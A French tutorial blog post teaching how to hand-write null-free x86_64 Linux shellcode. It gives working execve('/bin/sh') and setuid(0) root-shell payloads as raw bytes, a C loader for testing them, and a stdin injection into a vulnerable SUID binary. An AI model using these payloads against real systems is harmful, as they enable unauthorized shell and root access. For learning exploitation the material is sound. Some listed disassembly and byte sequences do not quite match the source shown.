Je bricole sur du binary exploitation depuis un moment maintenant, et la plupart des cibles que je rencontre sont en x86_64. Écrire du shellcode à la main n’est pas quelque chose que je fais tous les jours, peut-être quelques fois par an au mieux. Mais à chaque fois que j’en ai besoin, ça me prend bien deux ou trois heures rien que pour me remettre dans le bain. Les conventions d’appel, l’organisation des registres, les numéros de syscalls… il faut que tout revienne pièce par pièce.
Ce qui n’arrange rien, c’est que la plupart des tutoriels de shellcode qu’on trouve en ligne sont écrits pour du x86 (32 bits). Les exemples classiques avec int 0x80 sont partout, mais des exemples x64 propres ? Beaucoup plus rares. Alors j’ai décidé d’écrire la référence que j’aurais aimé avoir : un tutoriel clair sur l’écriture de shellcode x64 depuis zéro.
Avant d’écrire le moindre shellcode, voyons les essentiels de la façon dont Linux x64 communique avec le noyau.
Un syscall est la manière dont les programmes en user-space demandent au noyau d’effectuer des actions (ouvrir des fichiers, créer des processus, quitter). Sur x64, on déclenche un syscall avec l’instruction syscall (et non int 0x80, qui est l’interface 32 bits).
Le numéro de syscall va dans rax, et les arguments sont passés dans les registres dans cet ordre :
| Registre | Rôle |
|---|---|
rax | numéro de syscall |
rdi | arg 1 |
rsi | arg 2 |
rdx | arg 3 |
r10 | arg 4 |
r8 | arg 5 |
r9 | arg 6 |
Liste complète des syscalls avec leurs arguments : Linux System Call Table for x86_64.
On utilisera NASM (Netwide Assembler) avec la syntaxe Intel, et ld pour l’édition de liens. La commande de build utilisée tout au long de ce guide est :
$ nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcodePour désassembler et inspecter les opcodes générés :
$ objdump -d -M intel --disassemble=_start shellcode.oCommençons par le shellcode le plus simple possible : appeler exit(0).
; nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64
global _start
_start:
xor rdi, rdi ; rdi = 0 (code de sortie)
mov al, 60 ; numéro de syscall pour exit (0x3c = 60)
syscallOn build et on exécute :
$ nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
$ ./shellcode
$ echo $?
0Quelques remarques :
xor rdi, rdi met à zéro rdi, le premier argument de notre syscall (code de sortie = 0).mov al, 60 charge 60, le numéro de syscall pour exit.syscall déclenche l’appel au noyau.Désassemblons pour voir ce qu’on a réellement produit :
$ objdump -d -M intel --disassemble=_start shellcode.o
shellcode.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <_start>:
0: 48 31 ff xor rdi,rdi
3: b0 3c mov al,0x3c
5: 0f 05 syscallOn voit notre code désassemblé avec les octets hexadécimaux à gauche. Tout est en ordre. Maintenant qu’on sait assembler, linker et inspecter notre shellcode, construisons quelque chose d’utile.
Le cas d’usage le plus courant pour un shellcode : on a trouvé un binaire SUID vulnérable, et on veut ouvrir un shell pour hériter de ses privilèges. La manière la plus simple de le faire est d’appeler execve("/bin/sh", NULL, NULL), qui remplace le processus courant par un shell.
Commençons par ce à quoi ça ressemble en C classique :
// main.c
#include <unistd.h>
int main(int argc, char ** argv){
execve("/bin/sh",0,0);
return 0;
}On compile et on exécute :
gerboise@fedora-3:/run/host/home/gerboise/Documents/blog$ gcc main.c -o main
gerboise@fedora-3:/run/host/home/gerboise/Documents/blog$ ./main
[gerboise@fedora-3 blog]$ id
uid=1000(gerboise) gid=1000(gerboise) groups=1000(gerboise),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[gerboise@fedora-3 blog]$Faisons maintenant la même chose en assembleur. En regardant la
table des syscalls, execve est le syscall 59 avec trois arguments : rdi = filename, rsi = argv, rdx = envp.
; nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64
global _start
_start:
mov rax, 0 ; met rax à zéro
mov al, 59 ; execve
mov rdi, str_file ; const char *filename
mov rsi, 0 ; const char *const argv[]
mov rdx, 0 ; const char *const envp[]
syscall
mov al, 60 ; exit
syscall
str_file:
db "/bin/sh", 0On build et on exécute :
$ nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
$ ./shellcode
$ id
uid=1000(gerboise) gid=1000(gerboise) groups=1000(gerboise),10(wheel)
$Ça marche, on obtient un shell. Désassemblons le binaire final :
$ objdump -d -M intel --disassemble=_start shellcode
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b8 00 00 00 00 mov eax,0x0
400085: b0 3b mov al,0x3b
400087: 48 bf a1 00 40 00 00 movabs rdi,0x4000a1
40008e: 00 00 00
400091: be 00 00 00 00 mov esi,0x0
400096: ba 00 00 00 00 mov edx,0x0
40009b: 0f 05 syscall
40009d: b0 3c mov al,0x3c
40009f: 0f 05 syscallÇa fait beaucoup d’octets 00 là-dedans.
Pourquoi les octets nuls posent-ils problème ? Dans la plupart des scénarios d’exploitation, le shellcode est injecté via des fonctions de manipulation de chaînes comme strcpy, gets ou sprintf. Ces fonctions considèrent 0x00 comme un terminateur de chaîne. Si votre shellcode contient un octet nul, tout ce qui suit est tronqué et votre payload est cassé.
Une première idée pourrait être de déplacer les données avant le code :
BITS 64
str_file:
db "/bin/sh", 0
global _start
_start:
mov rax, 0
mov al, 59
mov rdi, str_file
mov rsi, 0
mov rdx, 0
syscall
mov al, 60
syscallMais ça ne marche pas : str_file se trouve avant _start dans la section .text. Le point d’entrée est _start, mais les octets de "/bin/sh" (2f 62 69 6e 2f 73 68 00) sont toujours là en tant que code machine. Le CPU essaierait de les exécuter comme des instructions si l’exécution atteignait cette adresse, et surtout, ça ne résout pas du tout notre problème d’octets nuls, puisque l’adresse absolue de str_file s’encode toujours avec des nuls dans le movabs.
Plutôt que de stocker la chaîne en tant que donnée dans le binaire, on peut la construire à l’exécution sur la pile. De cette façon on n’a pas besoin de label ni d’adresse absolue, on pushe juste les octets et on fait pointer rdi sur rsp.
Un problème : "/bin/sh" fait 7 octets. Un push sur x64 travaille avec des valeurs de 8 octets. On pourrait combler avec un octet nul, mais c’est précisément ce qu’on essaie d’éviter. L’astuce est d’utiliser "/bin//sh" (exactement 8 octets), et Linux se moque du / supplémentaire dans un chemin.
Mais comment obtenir la valeur hexadécimale de "/bin//sh" ? x86_64 est little-endian, ce qui veut dire que les octets sont stockés dans l’ordre inverse en mémoire. Il faut donc inverser les valeurs ASCII de la chaîne :
"/bin//sh" en ASCII : 2f 62 69 6e 2f 2f 73 68
inversé (little-endian) : 68 73 2f 2f 6e 69 62 2f
valeur 64 bits : 0x68732f2f6e69622fOn peut aussi l’obtenir avec Python :
$ python3 -c 'import struct; print(hex(struct.unpack("<Q", b"/bin//sh")[0]))'
0x68732f2f6e69622f; nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64
global _start
_start:
mov rax, 0
mov al, 59 ; execve
mov r8, 0 ; push un qword nul sur la pile
push r8 ; il servira de terminateur de chaîne
mov r8, 0x68732F2F6E69622F ; "/bin//sh" sur 64 bits
push r8 ; push la chaîne sur la pile
mov rdi, rsp ; rdi pointe sur "/bin//sh\0" sur la pile
mov rsi, 0 ; argv = NULL
mov rdx, 0 ; envp = NULL
syscall
mov al, 60 ; exit
syscallVoilà à quoi ressemble la pile au moment où on atteint syscall :
adresses basses
rsp → | 2F 62 69 6E 2F 2F 73 68 | "/bin//sh"
| 00 00 00 00 00 00 00 00 | terminateur nul
adresses hautesrdi pointe sur rsp, qui est le début de notre chaîne, correctement terminée par un octet nul.
Désassemblons :
$ objdump -d -M intel --disassemble=_start shellcode
0000000000400080 <_start>:
400080: b8 00 00 00 00 mov eax,0x0
400085: b0 3b mov al,0x3b
400087: 41 b8 00 00 00 00 mov r8d,0x0
40008d: 41 50 push r8
40008f: 49 b8 2f 62 69 6e 2f movabs r8,0x68732f2f6e69622f
400096: 2f 73 68
400099: 41 50 push r8
40009b: 48 89 e7 mov rdi,rsp
40009e: be 00 00 00 00 mov esi,0x0
4000a3: ba 00 00 00 00 mov edx,0x0
4000a8: 0f 05 syscall
4000aa: b0 3c mov al,0x3c
4000ac: 0f 05 syscallOn s’est débarrassé du movabs rdi avec l’adresse absolue, mais il reste plein d’octets nuls. mov eax,0x0, mov r8d,0x0, mov esi,0x0, mov edx,0x0 s’encodent tous avec des octets 00.
mov ..., 0 par xorChaque mov reg, 0 encode le zéro comme une valeur immédiate, soit 4 octets de 00. La solution simple : xor reg, reg. XORer un registre avec lui-même donne toujours zéro, et l’instruction s’encode sans aucun octet nul. Bonus : c’est aussi plus court : xor rax, rax fait 3 octets contre 5 pour mov eax, 0x0.
; nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64
global _start
_start:
xor rax, rax ; rax = 0 (pas d'octets nuls, 3 octets)
mov al, 59 ; execve
xor r8, r8 ; r8 = 0 (pas d'octets nuls, 3 octets)
push r8 ; push le terminateur nul sur la pile
mov r8, 0x68732F2F6E69622F ; "/bin//sh" sur 64 bits
push r8 ; push la chaîne sur la pile
mov rdi, rsp ; rdi pointe sur "/bin//sh\0" sur la pile
xor rsi, rsi ; argv = NULL (pas d'octets nuls, 3 octets)
xor rdx, rdx ; envp = NULL (pas d'octets nuls, 3 octets)
syscall
mov al, 60 ; exit
syscallDésassemblons :
$ objdump -d -M intel --disassemble=_start shellcode.o
0000000000000000 <_start>:
0: 48 31 c0 xor rax,rax
3: b0 3b mov al,0x3b
5: 4d 31 c0 xor r8,r8
8: 41 50 push r8
a: 49 b8 2f 62 69 6e 2f movabs r8,0x68732f2f6e69622f
11: 2f 73 68
14: 41 50 push r8
16: 48 89 e7 mov rdi,rsp
19: 48 31 f6 xor rsi,rsi
1c: 48 89 d2 mov rdx,rdx
1f: 0f 05 syscall
21: b0 3c mov al,0x3c
23: 0f 05 syscallPlus aucun octet nul. On peut extraire le shellcode brut :
\x48\x31\xc0\xb0\x3b\x4d\x31\xc0\x41\x50\x49\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x41\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x0f\x05Assurons-nous maintenant que notre shellcode fonctionne réellement lorsqu’il est injecté sous forme d’octets bruts. D’abord, on extrait les opcodes du binaire :
$ objdump -d -M intel --disassemble=_start shellcode | grep '^ ' | cut -f2 | tr -d ' \n' | sed 's/\(..\)/\\x\1/g'
\x48\x31\xc0\xb0\x3b\x4d\x31\xc0\x41\x50\x49\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x41\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x0f\x05On peut coller ça dans un petit programme C qui alloue une zone mémoire exécutable avec mmap, y copie le shellcode et saute dedans :
// gcc -o test_shellcode test_shellcode.c
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
unsigned char shellcode[] = "\x48\x31\xc0\xb0\x3b\x4d\x31\xc0\x41\x50\x49\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x41\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x0f\x05";
int main() {
printf("Shellcode length: %lu\n", sizeof(shellcode) - 1);
void *mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)();
return 0;
}$ gcc -o test_shellcode test_shellcode.c
$ ./test_shellcode
Shellcode length: 37
$ id
uid=1000(gerboise) gid=1000(gerboise) groups=1000(gerboise)
$37 octets, sans aucun octet nul, et ça ouvre un shell.
Notre shellcode ouvre un shell, mais si on exploite un binaire SUID, il faut s’assurer qu’on obtient bien les privilèges root. Quand un binaire SUID s’exécute, le processus a un uid effectif de 0, mais le vrai uid reste le nôtre. Par défaut, /bin/sh abandonne les privilèges si le vrai uid et l’uid effectif ne correspondent pas. Il faut appeler setuid(0) et setgid(0) avant execve pour positionner le vrai uid/gid à 0.
En regardant la table des syscalls :
setuid est le syscall 105 (0x69), prend rdi = uidsetgid est le syscall 106 (0x6a), prend rdi = gid; nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64
global _start
_start:
xor rax, rax
mov al, 105 ; setuid(0)
xor rdi, rdi ; uid = 0
syscall
xor rax, rax
mov al, 106 ; setgid(0)
xor rdi, rdi ; gid = 0
syscall
xor rax, rax
mov al, 59 ; execve
xor r8, r8
push r8 ; terminateur nul
mov r8, 0x68732F2F6E69622F
push r8 ; "/bin//sh"
mov rdi, rsp
xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
syscall
xor rax, rax
mov al, 60 ; exit
syscallPour injecter ça dans un binaire vulnérable via stdin :
$ python3 -c 'import sys; sys.stdout.buffer.write(b"\x48\x31\xc0\xb0\x69\x48\x31\xff\x0f\x05\xb0\x6a\x48\x31\xff\x0f\x05\xb0\x3b\x4d\x31\xc0\x41\x50\x49\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x41\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x0f\x05")' > /tmp/payload
$ (cat /tmp/payload; cat) | ./vulnerable_suid_binary
$ id
uid=0(root) gid=0(root)Le cat à la fin maintient stdin ouvert pour que le shell lancé ne se termine pas immédiatement.
Voici un ensemble de techniques courantes pour écrire du shellcode x64 qu’on n’a pas complètement abordées dans les chapitres précédents.
C’est une astuce classique. L’instruction call pousse l’adresse de retour (l’adresse de l’instruction suivante) sur la pile. Si on place notre chaîne juste après le call, on peut pop son adresse dans un registre :
jmp short forward ; saute par-dessus la chaîne
back:
pop rdi ; rdi = adresse de "/bin//sh" (poussée par call)
; ... suite du shellcode ...
forward:
call back ; pousse l'adresse de str_file sur la pile
str_file:
db "/bin//sh", 0Le flux est : jmp forward → call back (pousse l’adresse de str_file) → pop rdi (rdi pointe maintenant sur la chaîne). C’est position-independent : ça fonctionne quelle que soit l’adresse où tombe le shellcode en mémoire, parce que call utilise un offset relatif.
Sur x64, on peut utiliser l’adressage relatif à RIP pour référencer des données sans adresse absolue :
lea rdi, [rel str_file]
; ...
str_file:
db "/bin//sh", 0lea rdi, [rel str_file] s’encode comme un offset relatif au pointeur d’instruction courant, pas d’octets nuls provenant d’adresses absolues. Plus court et plus simple que jmp/call/pop, mais disponible uniquement en x64.
Les registres x64 ont des sous-registres plus petits dans lesquels on peut écrire indépendamment :
rax (64 bits) → eax (32 bits) → ax (16 bits) → al (8 bits)Quand on veut charger une petite valeur, il faut utiliser le plus petit registre qui convient :
mov rax, 59 ; 48 c7 c0 3b 00 00 00 (7 octets, contient des octets nuls)
mov eax, 59 ; b8 3b 00 00 00 (5 octets, encore des octets nuls)
mov al, 59 ; b0 3b (2 octets, pas d'octets nuls !)Le piège : mov al n’écrit que l’octet bas, les octets hauts de rax gardent leur valeur précédente. C’est pour ça qu’on fait xor rax, rax d’abord pour vider tout le registre, puis mov al pour positionner le numéro de syscall.
À noter que mov eax, imm32 étend implicitement par des zéros vers rax en x64, donc xor eax, eax (2 octets) fait la même chose que xor rax, rax (3 octets), un octet économisé gratuitement.
Comme on l’a vu au chapitre 4, "/bin/sh" fait 7 octets, peu pratique pour des pushes de 8 octets. Linux ignore les slashes consécutifs dans les chemins, donc :
"/bin//sh" (8 octets, tient dans un seul push)"//bin/sh" (fonctionne aussi)syscallL’instruction syscall écrase rcx et r11 (elle sauvegarde rip dans rcx et rflags dans r11). Si on enchaîne plusieurs syscalls, il ne faut rien stocker d’important dans ces registres entre les appels.
C’est aussi pour ça que rax ne contient que la valeur de retour après un syscall, il faut donc repositionner le numéro de syscall avant chaque appel (d’où la répétition de mov al, ... avant chaque syscall).
Quand on exploite un buffer overflow, on ne connaît souvent pas l’adresse exacte où le shellcode va atterrir en mémoire. Un NOP sled est une longue séquence d’instructions nop (0x90) placée devant le shellcode. Si l’exécution saute quelque part dans le sled, elle glisse jusqu’au vrai code :
| 90 90 90 90 90 90 90 90 90 90 | shellcode... |
^--- le saut tombe quelque part ici ---> glisse jusqu'au shellcodePlus le sled est grand, plus la fenêtre cible est large. En pratique, on peut préfixer des centaines ou des milliers de NOPs devant le payload pour augmenter les chances de tomber dedans.
C’était un rafraîchissement rapide sur l’écriture de shellcode x64 depuis zéro. La suite : Return-Oriented Programming (ROP).
Écrire cet article a aussi été une occasion d’apprendre pour moi. Avant je faisais tout avec hexdump, mais travailler avec objdump s’est révélé bien plus efficace. Pouvoir assembler, linker et exécuter le shellcode comme un vrai binaire ELF pour le tester, puis extraire les opcodes bruts en une seule commande, c’est un gain de temps considérable par rapport à mon ancien workflow.